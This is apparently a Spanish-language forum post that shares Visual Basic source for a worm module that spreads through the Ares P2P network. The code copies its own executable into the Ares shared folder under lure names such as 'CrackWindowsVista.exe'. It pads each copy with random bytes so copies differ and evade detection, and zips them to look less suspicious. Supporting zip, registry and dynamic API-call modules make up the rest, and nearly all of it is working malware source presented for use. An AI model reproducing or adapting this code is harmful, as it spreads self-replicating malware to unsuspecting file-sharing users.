Propagacion por Ares

si y te falta algo muy importante adicionarle bytes para que el archivo no se tomado como el mismo ademas de que seria mejor zipear el file así levanta menos sospechas yo lo había implementado hace bastante tiempo en vb.

Código

' -----------------------------------------------------------------------------------
' Modulo        : mP2P
' Autor         : XcryptOR
' Proposito     : Distribuirse mediante el programa P2P Ares, crea un array que alamcena
'                 Los nombres con los que nos copiaremos, ademas de adicionar bytes al
'                 ejecutable con el proposito de que cada copia que hagamos de nuestro
'                 virus sea diferente, ademas de que la comprime a formato zip.
' Creditos      : MachineDramon por la traducción del Zip Small Component Basado del MyDoom
'                 Cobein por el módulo CallApiByName
' Web           : http://razainformatica.org
' Fecha         : 16/06/2009 16:35
' -----------------------------------------------------------------------------------
Option Explicit
Declare Sub RtlMoveMemory Lib "kernel32" ( _
dest As Any, _
src As Any, _
ByVal L As Long)
 
Declare Function CallWindowProcA Lib "user32" ( _
ByVal addr As Long, _
ByVal p1 As Long, _
ByVal p2 As Long, _
ByVal p3 As Long, _
ByVal p4 As Long) As Long
 
Declare Function GetProcAddress Lib "kernel32" ( _
ByVal hModule As Long, _
ByVal lpProcName As String) As Long
 
Declare Function LoadLibraryA Lib "kernel32" ( _
ByVal lpLibFileName As String) As Long
 
Private Const CSIDL_LOCAL_APPDATA                   As Long = &H1C
 
'------------------------------------------------------------------------------------
'--------------------------- CallApiByName Escrito Por Cobein -----------------------
'------------------------------------------------------------------------------------
Function CallFunctions(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long ' CallApiByName de Cobein
On Error Resume Next
  Dim lPtr                As Long
  Dim bvASM(&HEC00& - 1)  As Byte
  Dim I                   As Long
  Dim lMod                As Long
 
  lMod = GetProcAddress(LoadLibraryA(sLib), sMod)
  If lMod = 0 Then Exit Function
 
  lPtr = VarPtr(bvASM(0))
  RtlMoveMemory ByVal lPtr, &H59595958, &H4:              lPtr = lPtr + 4
  RtlMoveMemory ByVal lPtr, &H5059, &H2:                  lPtr = lPtr + 2
  For I = UBound(Params) To 0 Step -1
      RtlMoveMemory ByVal lPtr, &H68, &H1:                lPtr = lPtr + 1
      RtlMoveMemory ByVal lPtr, CLng(Params(I)), &H4:     lPtr = lPtr + 4
  Next
  RtlMoveMemory ByVal lPtr, &HE8, &H1:                    lPtr = lPtr + 1
  RtlMoveMemory ByVal lPtr, lMod - lPtr - 4, &H4:         lPtr = lPtr + 4
  RtlMoveMemory ByVal lPtr, &HC3, &H1:                    lPtr = lPtr + 1
  CallFunctions = CallWindowProcA(VarPtr(bvASM(0)), 0, 0, 0, 0)
 
End Function
 
'------------------------------------------------------------------------------------
'------------ Retorna la ruta de carpetas especiales mediante su CSIDL --------------
'------------------------------------------------------------------------------------
Public Function GetSpecialFolderPath(FolderConst As Long) As String
    On Error Resume Next
    Dim Location(512) As Byte
 
    Call CallFunctions("shell32", _
                        "SHGetSpecialFolderPathW", _
                        0&, _
                        VarPtr(Location(0)), _
                        FolderConst, VarPtr(False))
 
    GetSpecialFolderPath = Left$(Location, InStr(Location, Chr$(0)) - 1)
End Function
 
'------------------------------------------------------------------------------------
'---------------- Obtener la ruta del folder de descarga del Ares -------------------
'------------------------------------------------------------------------------------
Public Sub Ares()
   On Error Resume Next
 
   Dim AresSharedFolder        As String
 
   If ReadKey("Software\Ares", "Download.Folder", 2) = "" Then  ' si la ruta de la carpeta por defecto no ha sido cambiada
       AresSharedFolder = GetSpecialFolderPath(CSIDL_LOCAL_APPDATA) & "\Ares\My Shared Folder"
   Else
       AresSharedFolder = HexToString(ReadKey("Software\Ares", "Download.Folder", 2))
   End If
 
   If FolderExists(AresSharedFolder) Then
 
       AddBytesToFile AresSharedFolder
 
   End If
 
End Sub
 
'------------------------------------------------------------------------------------
'------------------ Generar Nombres Aleatorios para copiarnos -----------------------
'------------------------------------------------------------------------------------
Private Function NameSharedFile()
On Error Resume Next
arr1 = Array("windowslive2009.exe", "CrackWindowsVista.exe", "Windows_Seven.exe") ' Aquí solo he agregado 3 diferentes nombres la idea es que coloquemos los que más podamos
 
Randomize
NameSharedFile = arr1(Int(Rnd * 3))
End Function
 
'------------------------------------------------------------------------------------
'--------- Funcion para descifrar la ruta del Ares desde el registro -------------
'------------------------------------------------------------------------------------
Function HexToString(ByVal hex As String) As String
   Dim x            As Long
 
   For x = 1 To Len(hex) Step 2
   HexToString = HexToString & Chr(CLng("&h" & Mid(hex, x, 2)))
   Next x
End Function
 
'------------------------------------------------------------------------------------
'----------------- Pump Function encargada de adicionar bytes al file ---------------
'------------------------------------------------------------------------------------
Private Sub AddBytesToFile(sPath As String)
 
    Dim Sfile       As String
    Dim sP2PFile    As String
    Dim a           As Double
 
    Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
    Sfile = Space(LOF(1))
    Get #1, , Sfile
    Close #1
 
    Randomize
 
    For a = 1 To ((Int(Rnd * 99)) + 1000)
    Sfile = Sfile & Chr(0)
    Next a
 
    sP2PFile = NameSharedFile
 
    Open sPath & sP2PFile & ".exe" For Binary As #1
    Put #1, , Sfile
    Close #1
 
    If Zipea(sPath & sP2PFile & ".exe", sPath & sP2PFile & ".zip", sP2PFile & ".exe") = True Then Kill sPath & sP2PFile & ".exe"
 
End Sub

el modulo para zipear es de machinedramon:

Pd. hay que compilarlo en p-code

Código

Private Declare Function CreateFile Lib "Kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As Long, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Private Declare Function ReadFile Lib "Kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, lpOverlapped As Long) As Long
Private Declare Function WriteFile Lib "Kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, lpOverlapped As Long) As Long
Private Declare Function CloseHandle Lib "Kernel32" (ByVal hObject As Long) As Long
Private Declare Function GlobalAlloc Lib "Kernel32" (ByVal wFlags As Long, ByVal dwBytes As Long) As Long
Private Declare Function GlobalFree Lib "Kernel32" (ByVal hMem As Long) As Long
Private Declare Function GetFileSize Lib "Kernel32" (ByVal hFile As Long, lpFileSizeHigh As Long) As Long
Private Declare Sub ZeroMemory Lib "Kernel32" Alias "RtlZeroMemory" (dest As Any, ByVal numbytes As Long)
Private Declare Function SetFilePointer Lib "Kernel32" (ByVal hFile As Long, ByVal lDistanceToMove As Long, lpDistanceToMoveHigh As Long, ByVal dwMoveMethod As Long) As Long
Private Declare Sub GetSystemTime Lib "Kernel32" (lpSystemTime As SYSTEMTIME)
Private Declare Sub CopyMemory Lib "Kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
 
Private Const FILE_BEGIN = 0
Private Const GENERIC_READ = &H80000000
Private Const GENERIC_WRITE = &H40000000
Private Const FILE_SHARE_READ = &H1
Private Const CREATE_ALWAYS = 2
Private Const OPEN_EXISTING = 3
Private Const INVALID_HANDLE_VALUE = -1
Private Const GMEM_FIXED = &H0
Private Const GMEM_ZEROINIT = &H40
Private Const GPTR = (GMEM_FIXED Or GMEM_ZEROINIT)
 
Private Type LOCAL_FILE_HEADER
 Signature As Long          'Firma &H04034b50
 ver_needed As Integer      'Version minima de software necesaria para extraer el archivo
 Flags As Integer           'Opciones
 method As Integer          'Metodo de compresion
 lastmod_time As Integer    'Tiempo de ultima modificacion
 lastmod_date As Integer    'Fecha de ultima modificacion
 crcLO As Integer                'CRC del file
 crcHI As Integer
 compressed_sizeLO As Integer    'Tamaño de file comprimido
 compressed_sizeHI As Integer
 uncompressed_sizeLO As Integer  'Tamaño del file sin comprimir
 uncompressed_sizeHI As Integer
 filename_length As Integer 'Longitud del nombre del Archivo
 extra_length As Integer    'Longitud de "InFormacion Adicional" ¿?
End Type
 
Private Type CENTRAL_DIRECTORY_STRUCTURE
 Signature As Long          'FIRMA &H02014b50
 made_by As Integer         'Indica SO y version de software donde se comprimio el file
 ver_needed As Integer      'Version minima de software necesaria para extraer el archivo
 Flags As Integer           'Opciones
 method As Integer          'Metodo de compresion
 lastmod_time As Integer    'Tiempo de ultima modificacion
 lastmod_date As Integer    'Fecha de ultima modificacion
 crc As Long                'CRC del file
 compressed_size As Long    'Tamaño de file comprimido
 uncompressed_size As Long  'Tamaño del file sin comprimir
 filename_length As Integer 'Longitud del nombre del Archivo
 extra_length As Integer    'Longitud de "InFormacion Adicional" ¿?
 comment_length As Integer  'Longitud de los comentarios
 disk_nums As Integer       'El número del disco por el cual este archivo comienza ¿?
 internal_attr As Integer   'Opciones entre ellas: Si el file tiene datos ASCII(texto) o Binarios
 external_attrLO As Integer 'Opciones entre ellas: Tipo de Sistema de Archivos
 external_attrHI As Integer '
 local_offs As Long         'N° de Byte donde comienza el correspondiente
                            'LOCAL_FILE_HEADER de esta struct CENTRAL_DIRECTORY_STRUCTURE
End Type
 
Private Type END_CENTRAL_DIR
 Signature As Long           'FIrma &H06054b50
 disk_nums As Integer        '"El número de este disco, que contiene el expediente de extremo central del directorio" ¿?
 disk_dirstart As Integer    '"El número del disco en el cual el directorio central comienza" ¿?
 disk_dir_entries As Integer 'El número de entradas en el central directory en este disco
 dir_entries As Integer      'El número total de archivos en el zipfile
 dir_size As Long            'El tamaño (en bytes) de la o las CENTRAL_DIRECTORY_STRUCTURE que contenga el zip
 dir_offs As Long            'N° de Byte donde comienza la CENTRAL_DIRECTORY_STRUCTURE o la primera CENTRAL_DIRECTORY_STRUCTURE
                             'si es que hay más de una
 comment_length As Integer   'Longitud de los Comentarios
End Type
 
Private Type SYSTEMTIME
 wYear As Integer
 wMonth As Integer
 wDayOfWeek As Integer
 wDay As Integer
 wHour As Integer
 wMinute As Integer
 wSecond As Integer
 wMilliseconds As Integer
End Type
 
Private Type HL_DWORD
 LOWORD As Integer
 HIWORD As Integer
End Type
 
Private CRCTable(256) As Long
 
Private Sub SetCRCTable()
 'Code CRC32 de www.vbaccelerator.com
 On Error Resume Next
 Dim dwPolynomial As Long, dwCrc As Long, I As Integer, j As Integer
 dwPolynomial = &HEDB88320
 
 For I = 0 To 255
  dwCrc = I
  For j = 8 To 1 Step -1
   If (dwCrc And 1) Then
   dwCrc = ((dwCrc And &HFFFFFFFE) \ 2&) And &H7FFFFFFF
   dwCrc = dwCrc Xor dwPolynomial
   Else
   dwCrc = ((dwCrc And &HFFFFFFFE) \ 2&) And &H7FFFFFFF
   End If
  Next
  CRCTable(I) = dwCrc
 Next
End Sub
 
Private Function GetCRC32(Buffer As String) As Long
'Code CRC32 de www.vbaccelerator.com
On Error Resume Next
Dim crc As Long, I As Long, iLookup As Integer
 
crc = &HFFFFFFFF
 
For I = 1 To Len(Buffer)
 iLookup = (crc And &HFF) Xor Asc(Mid(Buffer, I, 1))
 crc = ((crc And &HFFFFFF00) \ &H100) And 16777215
 crc = crc Xor CRCTable(iLookup)
Next
 
GetCRC32 = Not (crc)
End Function
 
Public Function Zipea(ffile As String, fzip As String, fname As String) As Boolean
On Error Resume Next
 Dim lfh As LOCAL_FILE_HEADER
 Dim cds As CENTRAL_DIRECTORY_STRUCTURE
 Dim ecd As END_CENTRAL_DIR
 Dim st As SYSTEMTIME
 Dim File As String, FPtr As Long
 Dim sz As Long, Dw As Long, o As Long
 Dim hFile As Long, hZip As Long
 Dim HL As HL_DWORD
 Dim CRC32 As Long
 
 o = 0
 
 hFile = CreateFile(ffile, GENERIC_READ, FILE_SHARE_READ, ByVal 0&, OPEN_EXISTING, 0, 0)
 If (hFile = INVALID_HANDLE_VALUE) Then Zipea = False: Exit Function
 
 hZip = CreateFile(fzip, GENERIC_WRITE, FILE_SHARE_READ, ByVal 0&, CREATE_ALWAYS, 0, 0)
 If (hZip = INVALID_HANDLE_VALUE) Then CloseHandle (hFile): Zipea = False: Exit Function
 
 ZeroMemory ByVal lfh, Len(lfh)
 ZeroMemory ByVal cds, Len(cds)
 ZeroMemory ByVal ecd, Len(ecd)
 
 Call GetSystemTime(st)
 If (st.wHour > 12) Then st.wHour = st.wHour - 12
 
 sz = GetFileSize(hFile, 0)
 
 lfh.Signature = &H4034B50
 lfh.ver_needed = 10
 lfh.Flags = 0
 lfh.method = 0
 lfh.lastmod_time = (st.wHour) * (2 ^ 11) Or (st.wMinute * (2 ^ 5)) Or (st.wSecond / 2)
 lfh.lastmod_date = ((st.wYear - 1980) * (2 ^ 9)) Or (st.wMonth * (2 ^ 5)) Or (st.wDay)
 CopyMemory ByVal HL, sz, 4
 lfh.uncompressed_sizeHI = HL.HIWORD And &HFFFF
 lfh.uncompressed_sizeLO = HL.LOWORD And &HFFFF
 lfh.compressed_sizeHI = HL.HIWORD And &HFFFF
 lfh.compressed_sizeLO = HL.LOWORD And &HFFFF
 lfh.filename_length = Len(fname)
 lfh.extra_length = 0
 
 cds.Signature = &H2014B50
 cds.made_by = 20           'MSDOS=0, PKZIP 2.0 =20
 cds.ver_needed = 10
 cds.Flags = 0
 cds.method = 0
 cds.lastmod_time = (st.wHour) * (2 ^ 11) Or (st.wMinute * (2 ^ 5)) Or (st.wSecond / 2)
 cds.lastmod_date = ((st.wYear - 1980) * (2 ^ 9)) Or (st.wMonth * (2 ^ 5)) Or (st.wDay)
 cds.compressed_size = sz
 cds.uncompressed_size = sz
 cds.filename_length = Len(fname)
 cds.extra_length = 0
 cds.comment_length = 0
 cds.disk_nums = 0
 cds.local_offs = 0
 cds.internal_attr = 0      'Datos Binarios
 cds.external_attrLO = &H20 'FAT_32 (&H20=32)
 cds.external_attrHI = &H0
 
 Call SetFilePointer(hFile, 0, 0, FILE_BEGIN)
 FPtr = GlobalAlloc(GPTR, sz)
 If (FPtr = 0) Then Zipea = False: GoTo Cierra
 
  Call ReadFile(hFile, ByVal FPtr, sz, Dw, ByVal 0)
  If (Dw = 0) Then Zipea = False: GoTo Cierra
 
  File = Space$(Dw)
  CopyMemory ByVal File, ByVal FPtr, Dw
 
 Call SetCRCTable
 
 CRC32 = GetCRC32(File)
 
 CopyMemory ByVal HL, CRC32, 4
 lfh.crcLO = HL.LOWORD And &HFFFF
 lfh.crcHI = HL.HIWORD And &HFFFF
 
 cds.crc = CRC32
 
 Call WriteFile(hZip, ByVal lfh, Len(lfh), Dw, ByVal 0&)
 Call WriteFile(hZip, ByVal fname, Len(fname), Dw, ByVal 0&)
 Call WriteFile(hZip, ByVal File, sz, Dw, ByVal 0&)
 
 GlobalFree (FPtr)
 o = o + (Len(lfh) + Len(fname) + sz)
 
 ecd.dir_offs = o
 
 Call WriteFile(hZip, ByVal cds, Len(cds), Dw, ByVal 0&)
 Call WriteFile(hZip, ByVal fname, Len(fname), Dw, ByVal 0&)
 o = o + (Len(cds) + Len(fname))
 
 ecd.Signature = &H6054B50
 ecd.disk_nums = 0
 ecd.disk_dirstart = 0
 ecd.disk_dir_entries = 1
 ecd.dir_entries = 1
 ecd.dir_size = o - ecd.dir_offs
 ecd.comment_length = 0
 Call WriteFile(hZip, ByVal ecd, Len(ecd), Dw, ByVal 0&)
 
 Zipea = True
Cierra:
 CloseHandle (hFile): CloseHandle (hZip)
End Function

y para obtener el valor del registro, aqui les dejo un modulo que se encarga de manejar las operaciones con el registro:

Código

'---------------------------------------------------------------------------------------
' Module      : mRegedit
' Fecha       : 02/03/2009 11:48
' Autor       : XcryptOR
' Proposito   : Manejar (Copiar, Leer, Eliminar) claves y valores Registro de Windows
'---------------------------------------------------------------------------------------
Option Explicit
 
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" _
Alias "RegOpenKeyExA" ( _
ByVal hKey As Long, _
ByVal lpSubKey As String, _
ByVal ulOptions As Long, _
ByVal samDesired As Long, _
phkResult As Long) As Long
 
Private Declare Function RegQueryValueEx Lib "advapi32.dll" _
Alias "RegQueryValueExA" ( _
ByVal hKey As Long, _
ByVal lpValueName As String, _
ByVal lpReserved As Long, _
lpType As Long, _
lpData As Any, _
lpcbData As Long) As Long
 
Private Declare Function RegCloseKey Lib "advapi32.dll" ( _
ByVal hKey As Long) As Long
 
Private Declare Function RegSetValueEx Lib "advapi32.dll" _
Alias "RegSetValueExA" ( _
ByVal hKey As Long, _
ByVal lpValueName As String, _
ByVal Reserved As Long, _
ByVal dwType As Long, _
lpData As Any, _
ByVal cbData As Long) As Long
 
Private Declare Function RegCreateKeyEx Lib "advapi32.dll" _
Alias "RegCreateKeyExA" ( _
ByVal hKey As Long, _
ByVal lpSubKey As String, _
ByVal Reserved As Long, _
ByVal lpClass As String, _
ByVal dwOptions As Long, _
ByVal samDesired As Long, _
ByVal lpSecurityAttributes As Long, _
phkResult As Long, _
lpdwDisposition As Long) As Long
 
Public Declare Function RegDeleteValue Lib "advapi32.dll" _
Alias "RegDeleteValueA" ( _
ByVal hKey As Long, _
ByVal lpValueName As String) As Long
 
Private Declare Function SHDeleteKey Lib "shlwapi.dll" Alias "SHDeleteKeyA" ( _
ByVal hKey As Long, _
ByVal pszSubKey As String) As Long
 
Declare Function RegDeleteKey Lib "advapi32.dll" _
Alias "RegDeleteKeyA" ( _
ByVal hKey As Long, _
ByVal lpSubKey As String) As Long
 
Private Const REG_SZ                                As Long = 1
Private Const REG_EXPAND_SZ                         As Long = 2
Private Const REG_BINARY                            As Long = 3
Private Const REG_DWORD                             As Long = 4
Private Const REG_MULTI_SZ                          As Long = 7
 
Private Const KEY_QUERY_VALUE                       As Long = &H1
Private Const KEY_ALL_ACCESS                        As Long = &H3F
Private Const REG_OPTION_NON_VOLATILE               As Long = 0
 
Private Const HKEY_CLASSES_ROOT                     As Long = &H80000000
Private Const HKEY_CURRENT_USER                     As Long = &H80000001
Private Const HKEY_LOCAL_MACHINE                    As Long = &H80000002
 
'========================================================================================
'========================= Crea nueva clave, valor en el registro =======================
'========================================================================================
Public Sub CreateKey(SubKey, ValueName, Value As Variant, RegKey, ValueType)
    On Error Resume Next
 
    Dim L           As Long
    Dim hKey        As Long
    Dim strValue    As String
    Dim lValue      As Long
 
    L = RegCreateKeyEx(GetHKEY(RegKey), SubKey, 0&, vbNullString, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0&, hKey, L)
 
 
    Select Case ValueType
 
        Case 1
        strValue = Value
        L = RegSetValueEx(hKey, ValueName, 0&, REG_SZ, ByVal strValue, Len(strValue) + 1)   'Write REG_SZ values
 
        Case 2
        lValue = Value
        L = RegSetValueEx(hKey, ValueName, 0&, REG_DWORD, lValue, 4)    'Write REG_DWORD values
 
        Case 3
        strValue = Value
        L = RegSetValueEx(hKey, ValueName, 0&, REG_EXPAND_SZ, ByVal strValue, Len(strValue) + 1)    'Write REG_EXPAND_SZ values
 
        Case 4
        strValue = Value
        L = RegSetValueEx(hKey, ValueName, 0&, REG_MULTI_SZ, ByVal strValue, Len(strValue) + 1)     'Write REG_MULTI_SZ values
 
    End Select
 
    L = RegCloseKey(hKey)
End Sub
 
'========================================================================================
'=========================== Leer clave, valor en el registro ===========================
'========================================================================================
Public Function ReadKey(SubKey, ValueName, RegKey)
    On Error Resume Next
 
    Dim L           As Long
    Dim hKey        As Long
    Dim ky          As Long
    Dim fKey        As String
 
    L = RegOpenKeyEx(GetHKEY(RegKey), SubKey, 0, KEY_QUERY_VALUE, hKey)
    L = RegQueryValueEx(hKey, ValueName, 0&, REG_SZ, 0&, ky)
 
    fKey = String(ky, Chr(32))
 
    If L <= 2 Then ReadKey = "": Exit Function
 
    L = RegQueryValueEx(hKey, ValueName, 0&, REG_SZ, ByVal fKey, ky)
    fKey = Left$(fKey, ky - 1)
    L = RegCloseKey(hKey)
 
    ReadKey = fKey
End Function
 
 
 Public Sub DeleteKey(sKey, nKey, RegKey)
    On Error Resume Next
    Dim RK          As Long
    Dim L           As Long
    Dim hKey        As Long
    L = RegOpenKeyEx(GetHKEY(RegKey), sKey, 0, KEY_ALL_ACCESS, hKey)
    L = RegDeleteValue(hKey, nKey)
    L = RegCloseKey(hKey)
End Sub
 
'===================================================================================
'================== Eliminar Claves Y Subclaves del Registro =======================
'===================================================================================
Public Sub DeleteAllKeys(hKey As String, key As String)
    Dim lResult As Long
    lResult = SHDeleteKey(hKey, key)
End Sub
Public Function GetHKEY(RegKey) As Long
    On Error Resume Next
    Select Case RegKey
        Case 1
        GetHKEY = HKEY_CLASSES_ROOT
        Case 2
        GetHKEY = HKEY_CURRENT_USER
        Case 3
        GetHKEY = HKEY_LOCAL_MACHINE
    End Select
End Function

saludos